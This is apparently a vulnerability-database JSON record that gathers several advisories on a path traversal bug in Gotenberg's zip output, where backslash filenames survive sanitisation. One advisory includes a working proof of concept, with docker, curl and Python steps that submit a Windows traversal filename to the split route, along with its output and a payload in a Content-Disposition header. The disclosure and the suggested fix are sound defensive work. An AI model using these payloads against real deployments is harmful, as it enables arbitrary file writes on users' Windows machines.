{"id":"GO-2026-5443","revision":null,"records":[{"revision":"3f1b1c3cfc764ee3b6f8c89a028bc538","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-44829","aliases":[],"title":"Gotenberg: Path traversal in zip entry name via Windows-style separators in upload filename","description":"Gotenberg is a Docker-powered stateless API for PDF files. In 8.32.0 and earlier, filename handling in pkg/modules/api/context.go uses filepath.Base on Linux, which does not treat backslashes as path separators, so a multipart filename containing Windows-style parent directory components survives sanitization. The original filename flows through ctx.diskToOriginal and the multi-output PDF routes into archives.FilesFromDisk and archives.Zip.Archive as the generated zip entry name. A remote attacker can submit a name such as ........\\Windows\\System32\\evil.pdf through an upload or an upstream downloadFrom Content-Disposition header, and a Windows archive extractor can write the resulting file outside the intended extraction directory. The affected paths include /forms/pdfengines/split and other multi-output PDF, LibreOffice, and conversion routes, and exploitation can cause arbitrary file writes on a downstream Windows system when a user or process extracts the returned archive. This issue is fixed in version 8.33.0.","state":0,"publishedAt":"2026-08-19T14:35:06.966+00:00","modifiedAt":"2026-08-19T18:19:27.164+00:00","affected":[{"ecosystem":"Vendor product","name":"gotenberg","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"gotenberg\",\n                    \"product\": \"gotenberg\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 8.33.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L","score":8.8,"severity":"HIGH"}],"references":["https://github.com/gotenberg/gotenberg/security/advisories/GHSA-hwc4-gmrw-5222","https://github.com/gotenberg/gotenberg/issues/662","https://github.com/gotenberg/gotenberg/commit/93d0103585372433e18b351bb16edf4c383932d3","https://github.com/gotenberg/gotenberg/releases/tag/v8.33.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44829","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-44829","identifiers":["CVE-2026-44829"]},"retained":false,"historicalAffected":[]},{"revision":"487efa0b356c4611b871a945ce36d240","observedAt":"2026-10-30T07:54:16.605+00:00","statement":{"source":"euvd","id":"EUVD-2026-62427","aliases":["CVE-2026-44829","GHSA-hwc4-gmrw-5222"],"title":"Gotenberg is a Docker-powered stateless API for PDF files. In 8.32.0 and earlier, filename handling in pkg/modules/api/context.go uses filepath.Base on Linux, which does not treat backslashes as path separators, so a multipart filename cont…","description":"Gotenberg is a Docker-powered stateless API for PDF files. In 8.32.0 and earlier, filename handling in pkg/modules/api/context.go uses filepath.Base on Linux, which does not treat backslashes as path separators, so a multipart filename containing Windows-style parent directory components survives sanitization. The original filename flows through ctx.diskToOriginal and the multi-output PDF routes into archives.FilesFromDisk and archives.Zip.Archive as the generated zip entry name. A remote attacker can submit a name such as ........\\Windows\\System32\\evil.pdf through an upload or an upstream downloadFrom Content-Disposition header, and a Windows archive extractor can write the resulting file outside the intended extraction directory. The affected paths include /forms/pdfengines/split and other multi-output PDF, LibreOffice, and conversion routes, and exploitation can cause arbitrary file writes on a downstream Windows system when a user or process extracts the returned archive. This issue is fixed in version 8.33.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L","score":8.8,"severity":null}],"references":["https://github.com/gotenberg/gotenberg/security/advisories/GHSA-hwc4-gmrw-5222","https://github.com/gotenberg/gotenberg/issues/662","https://github.com/gotenberg/gotenberg/commit/93d0103585372433e18b351bb16edf4c383932d3","https://github.com/gotenberg/gotenberg/releases/tag/v8.33.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-62427","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 19, 2026, 2:35:06 PM","dateUpdated":"Aug 19, 2026, 6:19:27 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-62427","identifiers":["EUVD-2026-62427","CVE-2026-44829","GHSA-hwc4-gmrw-5222"]},"retained":false,"historicalAffected":[]},{"revision":"982a73d0ab7b4d25973fdda0cadb2289","observedAt":"2026-10-29T11:13:26.971+00:00","statement":{"source":"nvd","id":"CVE-2026-44829","aliases":[],"title":"Gotenberg is a Docker-powered stateless API for PDF files. In 8.32.0 and earlier, filename handling in pkg/modules/api/context.go uses filepath.Base on Linux, which does not treat backslashes as path separators, so a multipart filename cont…","description":"Gotenberg is a Docker-powered stateless API for PDF files. In 8.32.0 and earlier, filename handling in pkg/modules/api/context.go uses filepath.Base on Linux, which does not treat backslashes as path separators, so a multipart filename containing Windows-style parent directory components survives sanitization. The original filename flows through ctx.diskToOriginal and the multi-output PDF routes into archives.FilesFromDisk and archives.Zip.Archive as the generated zip entry name. A remote attacker can submit a name such as ........\\Windows\\System32\\evil.pdf through an upload or an upstream downloadFrom Content-Disposition header, and a Windows archive extractor can write the resulting file outside the intended extraction directory. The affected paths include /forms/pdfengines/split and other multi-output PDF, LibreOffice, and conversion routes, and exploitation can cause arbitrary file writes on a downstream Windows system when a user or process extracts the returned archive. This issue is fixed in version 8.33.0.","state":0,"publishedAt":"2026-08-19T15:17:02.63+00:00","modifiedAt":"2026-10-27T13:10:00.36+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L","score":8.8,"severity":"HIGH"}],"references":["https://github.com/gotenberg/gotenberg/commit/93d0103585372433e18b351bb16edf4c383932d3","https://github.com/gotenberg/gotenberg/issues/662","https://github.com/gotenberg/gotenberg/releases/tag/v8.33.0","https://github.com/gotenberg/gotenberg/security/advisories/GHSA-hwc4-gmrw-5222"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44829","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-22"],"productCriteria":[],"sourceDates":{"published":"2026-08-19T15:17:02.630","lastModified":"2026-10-27T13:10:00.360"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-44829","identifiers":["CVE-2026-44829"]},"retained":false,"historicalAffected":[]},{"revision":"afb41cdbd633414883820c295cf66f5a","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-hwc4-gmrw-5222","aliases":["CVE-2026-44829","GO-2026-5443"],"title":"Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename","description":"### Summary\n`filepath.Base` on the Linux container does not strip backslashes (`\\`), because `\\` is only a path separator on Windows. A multipart filename like `..\\..\\..\\..\\Windows\\System32\\evil.pdf` survives Gotenberg's input sanitisation and lands verbatim as the zip entry name when a multi-output route returns its result as a zip (e.g. `/forms/pdfengines/split`). Windows zip extractors interpret `\\` as a path separator and write the file outside the extraction directory.\n\n### Details\n`pkg/modules/api/context.go:434, 472`:\n```go\nfilename := norm.NFC.String(filepath.Base(fh.Filename))\n```\nOn Linux, `filepath.Base(\"..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil.pdf\")` returns the same string verbatim — there are no `/` separators to find. The original filename then flows to `ctx.diskToOriginal` (`pkg/modules/api/context.go:459, 393`) and through `pkg/modules/pdfengines/routes.go:287-322` (`SplitPdfStub`), which builds:\n```go\noriginalNameNoExt := strings.TrimSuffix(originalName, filepath.Ext(originalName))\nnewOriginal      := fmt.Sprintf(\"%s_%d.pdf\", originalNameNoExt, i)\nctx.RegisterDiskPath(newPath, newOriginal)\n```\nFinally `pkg/modules/api/context.go:617-642` constructs the zip via `archives.FilesFromDisk` + `archives.Zip{}.Archive`. `mholt/archives@v0.1.5/archives.go:155-184` (`nameOnDiskToNameInArchive`) returns `path.Join(rootInArchive, \"\")` — the map value verbatim.\n\n### Suggested fix\n```diff\n- filename := norm.NFC.String(filepath.Base(fh.Filename))\n+ filename := sanitizeFilename(fh.Filename)\n+\n+ func sanitizeFilename(name string) string {\n+     if i := strings.LastIndexAny(name, \"/\\\\\"); i >= 0 {\n+         name = name[i+1:]\n+     }\n+     name = norm.NFC.String(name)\n+     // Optional belt-and-braces:\n+     name = strings.ReplaceAll(name, \"..\", \"_\")\n+     name = strings.Map(func(r rune) rune {\n+         if r < 0x20 || r == 0x7f { return -1 }\n+         return r\n+     }, name)\n+     return name\n+ }\n```\nThe same sanitiser closes Advisory 8.\n\n### PoC\n**Prerequisite:** `pip install requests`. `curl -F filename=` mangles backslashes on some shells, so we use Python's `requests` to deliver the malicious filename byte-perfect.\n\n```bash\nmkdir -p /tmp/gotenberg-poc && cd /tmp/gotenberg-poc\n\ndocker rm -f gotenberg-audit 2>/dev/null\ndocker run -d --rm --name gotenberg-audit -p 3000:3000 gotenberg/gotenberg:8.32.0\ni=0; until [ \"$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/health)\" = \"200\" ] || [ $i -ge 30 ]; do i=$((i+1)); sleep 2; done\n\n# Stub PDF.\nprintf '%%PDF-1.4\\n1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj\\n2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj\\n3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj\\nxref\\n0 4\\n0000000000 65535 f\\n0000000010 00000 n\\n0000000053 00000 n\\n0000000100 00000 n\\ntrailer<</Size 4/Root 1 0 R>>\\nstartxref\\n158\\n%%%%EOF\\n' > stub.pdf\n\n# Step 1: produce a 2-page PDF so /split returns multiple entries.\ncurl -s -o two.pdf -X POST http://localhost:3000/forms/pdfengines/merge \\\n    -F 'files=@stub.pdf;filename=a.pdf' \\\n    -F 'files=@stub.pdf;filename=b.pdf'\n\n# Step 2: split, declaring the multipart filename as a Windows path-traversal payload.\npython3 - <<'PY'\nimport requests, zipfile, binascii\nfname = '..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil.pdf'\nfiles = {'files': (fname, open('two.pdf', 'rb'), 'application/pdf')}\ndata  = {'splitMode': 'intervals', 'splitSpan': '1'}\nr = requests.post('http://localhost:3000/forms/pdfengines/split', files=files, data=data)\nprint(f'HTTP={r.status_code}  ctype={r.headers.get(\"content-type\")}  bytes={len(r.content)}')\nopen('split.zip', 'wb').write(r.content)\n\nz = zipfile.ZipFile('split.zip')\nprint('--- zip entries (orig_filename) ---')\nfor info in z.infolist():\n    print(f'   {info.orig_filename!r}')\n\n# Show raw central-directory bytes to prove backslashes are on the wire:\ndata = open('split.zip', 'rb').read()\nidx = data.find(b'PK\\x01\\x02')\nprint('--- raw central-dir hex around filename ---')\nprint(f'   {binascii.hexlify(data[idx:idx+80]).decode()}')\nPY\n\ndocker stop gotenberg-audit\n```\n\n**Observed output:**\n```\nHTTP=200  ctype=application/zip  bytes=24750\n--- zip entries (orig_filename) ---\n   '..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil_0.pdf'\n   '..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil_1.pdf'\n--- raw central-dir hex around filename ---\n   504b010214031400080800009a7da25c61b6fc178e2f00008e2f0000270009000000000000000000a481000000002e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c53797374656d33325c6576696c5f\n```\n\nThe trailing hex `2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797374656d3332 5c 6576696c5f` decodes to `..\\..\\..\\..\\Windows\\System32\\evil_`. (Python's `ZipFile.namelist()` would normally hide this by displaying `/`, but `info.orig_filename` returns the literal backslash form.)\n\nTo see the Windows-side traversal effect on a Windows host, run:\n```powershell\nExpand-Archive -Path .\\split.zip -DestinationPath .\\out -Force\nGet-ChildItem .\\out -Recurse\n# → out\\Windows\\System32\\evil_0.pdf\n# → out\\Windows\\System32\\evil_1.pdf\n```\nPowerShell collapses the `..` parents but creates the `Windows\\System32\\` subdirectory tree. 7-Zip and WinRAR with default settings honor the `..` parents and traverse out of the extraction directory entirely.\n\n### Impact\n- Arbitrary file write on a Windows-side consumer that extracts the returned zip (Windows Explorer, 7-Zip, WinRAR, .NET `ZipFile.ExtractToDirectory`).\n- Reachable via every multi-output Gotenberg route — `/forms/pdfengines/split`, `/forms/pdfengines/flatten`/`/encrypt`/`/embed`/`/watermark`/`/stamp`/`/rotate` (when called with multiple input PDFs), `/forms/libreoffice/convert` with multiple inputs, `/forms/pdfengines/convert`.\n- Also reachable via `downloadFrom` upstream `Content-Disposition: filename=\"..\\\\..\\\\evil.exe\"` — the filename flows through the same `ctx.diskToOriginal` map at `pkg/modules/api/context.go:354, 393`.","state":0,"publishedAt":"2026-05-29T16:38:24+00:00","modifiedAt":"2026-06-25T23:11:05.529588+00:00","affected":[{"ecosystem":"Go","name":"github.com/gotenberg/gotenberg/v8","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"8.33.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/gotenberg/gotenberg/security/advisories/GHSA-hwc4-gmrw-5222","https://github.com/gotenberg/gotenberg","https://github.com/gotenberg/gotenberg/releases/tag/v8.33.0"],"sourceUrl":"https://github.com/advisories/GHSA-hwc4-gmrw-5222","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-hwc4-gmrw-5222","identifiers":["GHSA-hwc4-gmrw-5222","CVE-2026-44829","GO-2026-5443"]},"retained":false,"historicalAffected":[]},{"revision":"ddceeb3e23f34e1a9f10010275211a11","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5443","aliases":["CVE-2026-44829","GHSA-hwc4-gmrw-5222"],"title":"Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename in github.com/gotenberg/gotenberg","description":"Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename in github.com/gotenberg/gotenberg","state":0,"publishedAt":"2026-06-25T22:34:31+00:00","modifiedAt":"2026-06-25T23:01:14.0103069+00:00","affected":[{"ecosystem":"Go","name":"github.com/gotenberg/gotenberg/v7","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/gotenberg/gotenberg/v8","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"8.33.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/gotenberg/gotenberg/security/advisories/GHSA-hwc4-gmrw-5222","https://github.com/gotenberg/gotenberg/releases/tag/v8.33.0"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5443","license":"OSV · upstream source license applies","key":"osv:GO-2026-5443","identifiers":["GO-2026-5443","CVE-2026-44829","GHSA-hwc4-gmrw-5222"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-01T07:04:54.9851191+00:00","complete":true,"records":1766,"lastAttemptAt":"2026-11-01T07:04:54.9851191+00:00","lastSuccessAt":"2026-11-01T07:04:55.1523444+00:00","error":null,"lastVerifiedAt":"2026-11-01T07:04:55.1523511+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-aece262bb10a694367a43c24d730aa8e8dc171723eaec4c15cdd32f04bda103f-7102d048e7a0fc351d343b19a24d2d3e1b90ccdb6994776de85faef02dd3b113","complete":true,"records":417620,"lastAttemptAt":"2026-11-01T07:04:54.4159535+00:00","lastSuccessAt":"2026-11-01T07:04:54.3752669+00:00","error":null,"lastVerifiedAt":"2026-11-01T07:04:54.4159535+00:00","snapshotPublishedAt":"2026-11-01T06:30:40+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c6fb1f32c6754b21a98f51facdb3651d","complete":false,"records":13567,"lastAttemptAt":"2026-11-01T07:17:06.2762505+00:00","lastSuccessAt":"2026-11-01T07:17:06.272+00:00","error":"84 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-01T07:17:06.272+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13553,"expectedIdentifiers":13637,"failedIdentifiers":84},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-01T07:04:54.9851191+00:00","complete":true,"records":1095,"lastAttemptAt":"2026-11-01T07:04:54.9851191+00:00","lastSuccessAt":"2026-11-01T07:04:55.1534437+00:00","error":null,"lastVerifiedAt":"2026-11-01T07:04:55.1534441+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-cb479fb73dd0432cb8c82ee43f01837b","complete":true,"records":13580,"lastAttemptAt":"2026-11-01T07:04:55.6858262+00:00","lastSuccessAt":"2026-11-01T04:04:52.54+00:00","error":null,"lastVerifiedAt":"2026-11-01T04:04:52.54+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13637,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-21dcd6662970dfea02e4ea60ee637115e8d92664947484d2b9276b3f6568a84f","complete":true,"records":9815,"lastAttemptAt":"2026-11-01T07:04:54.7867167+00:00","lastSuccessAt":"2026-10-30T23:47:34.1817587+00:00","error":null,"lastVerifiedAt":"2026-11-01T07:04:54.7867167+00:00","snapshotPublishedAt":"2026-10-30T23:33:17+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-11-01T07:04:54.5787008+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-11-01T07:04:54.5787008+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f95f76cd406ae5bae3de632ad37fd2d5160b44f5e6b51748ac6f8f0c0c88e72b","complete":true,"records":3028,"lastAttemptAt":"2026-11-01T07:04:54.948668+00:00","lastSuccessAt":"2026-10-30T23:47:38.4914494+00:00","error":null,"lastVerifiedAt":"2026-11-01T07:04:54.948668+00:00","snapshotPublishedAt":"2026-10-30T23:18:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-712291bb5a0ee4f1ca7325e317f98ff05e9ab8d14f863abf00a323d9e6d8331e","complete":true,"records":230994,"lastAttemptAt":"2026-11-01T07:04:54.6859859+00:00","lastSuccessAt":"2026-10-31T17:06:47.8999408+00:00","error":null,"lastVerifiedAt":"2026-11-01T07:04:54.6859859+00:00","snapshotPublishedAt":"2026-10-31T16:33:38+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}